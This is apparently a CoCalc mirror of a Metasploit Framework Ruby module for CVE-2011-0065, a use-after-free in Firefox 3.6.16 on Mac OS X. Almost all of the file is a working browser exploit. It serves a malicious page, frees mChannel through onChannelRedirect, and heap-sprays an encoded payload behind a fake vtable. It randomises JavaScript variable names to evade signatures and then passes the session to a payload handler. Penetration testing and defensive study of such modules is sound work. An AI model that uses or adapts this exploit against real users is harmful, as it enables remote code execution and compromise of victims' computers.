Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/osx/browser/mozilla_mchannel.rb
19566 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::Remote::HttpServer::HTML
10
# include Msf::Exploit::Remote::BrowserAutopwn
11
#
12
# autopwn_info({
13
# :ua_name => HttpClients::FF,
14
# :ua_minver => "3.6.16",
15
# :ua_maxver => "3.6.16",
16
# :os_name => OperatingSystems::Match::MAC_OSX,
17
# :javascript => true,
18
# :rank => NormalRanking,
19
# })
20
21
def initialize(info = {})
22
super(
23
update_info(
24
info,
25
'Name' => 'Mozilla Firefox 3.6.16 mChannel Use-After-Free',
26
'Description' => %q{
27
This module exploits a use-after-free vulnerability in Mozilla
28
Firefox 3.6.16. An OBJECT element, mChannel, can be freed via the
29
OnChannelRedirect method of the nsIChannelEventSink Interface. mChannel
30
becomes a dangling pointer and can be reused when setting the OBJECTs
31
data attribute. This module has been tested on Mac OS X 10.6.6, 10.6.7,
32
10.6.8, 10.7.2 and 10.7.3.
33
},
34
'License' => MSF_LICENSE,
35
'Author' => [
36
'regenrecht', # discovery
37
'Rh0', # windows metasploit module
38
'argp <argp[at]census-labs.com>' # mac os x version
39
],
40
'References' => [
41
['CVE', '2011-0065'],
42
['OSVDB', '72085'],
43
['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=634986'],
44
['URL', 'http://www.mozilla.org/security/announce/2011/mfsa2011-13.html']
45
],
46
'Payload' => {
47
'Space' => 1024,
48
},
49
'Platform' => 'osx',
50
'Targets' => [
51
[
52
# Firefox 3.6.16 on Lion runs as a 32-bit process
53
'Firefox 3.6.16 on Mac OS X (10.6.6, 10.6.7, 10.6.8, 10.7.2 and 10.7.3)',
54
{
55
'Arch' => ARCH_X86,
56
'Fakevtable' => 0x2727,
57
'Fakefunc' => 0x2727001c,
58
}
59
],
60
],
61
'DefaultTarget' => 0,
62
'DisclosureDate' => '2011-05-10',
63
'Notes' => {
64
'Reliability' => UNKNOWN_RELIABILITY,
65
'Stability' => UNKNOWN_STABILITY,
66
'SideEffects' => UNKNOWN_SIDE_EFFECTS
67
}
68
)
69
)
70
end
71
72
def on_request_uri(cli, request)
73
# random javascript variable names
74
js_element_name = rand_text_alpha(rand(10) + 5)
75
js_obj_addr_name = rand_text_alpha(rand(10) + 5)
76
js_sc_name = rand_text_alpha(rand(10) + 5)
77
js_ret_addr_name = rand_text_alpha(rand(10) + 5)
78
js_chunk_name = rand_text_alpha(rand(10) + 5)
79
js_final_chunk_name = rand_text_alpha(rand(10) + 5)
80
js_block_name = rand_text_alpha(rand(10) + 5)
81
js_array_name = rand_text_alpha(rand(10) + 5)
82
83
# check for non vulnerable targets
84
agent = request.headers['User-Agent']
85
86
if agent !~ /Intel Mac OS X 10\.6/ or agent !~ /Intel Mac OS X 10\.7/ and agent !~ /Firefox\/3\.6\.16/
87
vprint_error("Target not supported: #{agent}")
88
send_not_found(cli)
89
return
90
end
91
92
# re-generate the payload
93
return if ((payload = regenerate_payload(cli).encoded) == nil)
94
95
payload_buf = ''
96
payload_buf << payload
97
escaped_payload = Rex::Text.to_unescape(payload_buf)
98
99
# setup the fake memory references
100
my_target = targets[0] # in case we add more targets later
101
fakevtable = Rex::Text.to_unescape([my_target['Fakevtable']].pack('v'))
102
fakefunc = Rex::Text.to_unescape([my_target['Fakefunc']].pack('V*'))
103
104
exploit_js = <<-JS
105
#{js_element_name} = document.getElementById("d");
106
#{js_element_name}.QueryInterface(Components.interfaces.nsIChannelEventSink);
107
#{js_element_name}.onChannelRedirect(null, new Object, 0)
108
109
#{js_obj_addr_name} = unescape("\x00#{fakevtable}");
110
111
var #{js_sc_name} = unescape("#{escaped_payload}");
112
113
var #{js_ret_addr_name} = unescape("#{fakefunc}");
114
115
while(#{js_ret_addr_name}.length < 0x120)
116
{
117
#{js_ret_addr_name} += #{js_ret_addr_name};
118
}
119
120
var #{js_chunk_name} = #{js_ret_addr_name}.substring(0, 0x18);
121
#{js_chunk_name} += #{js_sc_name};
122
#{js_chunk_name} += #{js_ret_addr_name};
123
var #{js_final_chunk_name} = #{js_chunk_name}.substring(0, 0x10000 / 2);
124
125
while(#{js_final_chunk_name}.length < 0x800000)
126
{
127
#{js_final_chunk_name} += #{js_final_chunk_name};
128
}
129
130
var #{js_block_name} = #{js_final_chunk_name}.substring(0, 0x80000 - #{js_sc_name}.length - 0x24 / 2 - 0x4 / 2 - 0x2 / 2);
131
132
#{js_array_name} = new Array()
133
134
for(n = 0; n < 0x220; n++)
135
{
136
#{js_array_name}[n] = #{js_block_name} + #{js_sc_name};
137
}
138
JS
139
140
html = <<-HTML
141
<html>
142
<body>
143
<object id="d"><object>
144
<script type="text/javascript">
145
#{exploit_js}
146
</script>
147
</body>
148
</html>
149
HTML
150
151
# remove the extra tabs
152
html = html.gsub(/^ {4}/, '')
153
print_status("Sending #{self.name}")
154
send_response_html(cli, html, { 'Content-Type' => 'text/html' })
155
156
# handle the payload
157
handler(cli)
158
end
159
end
160
161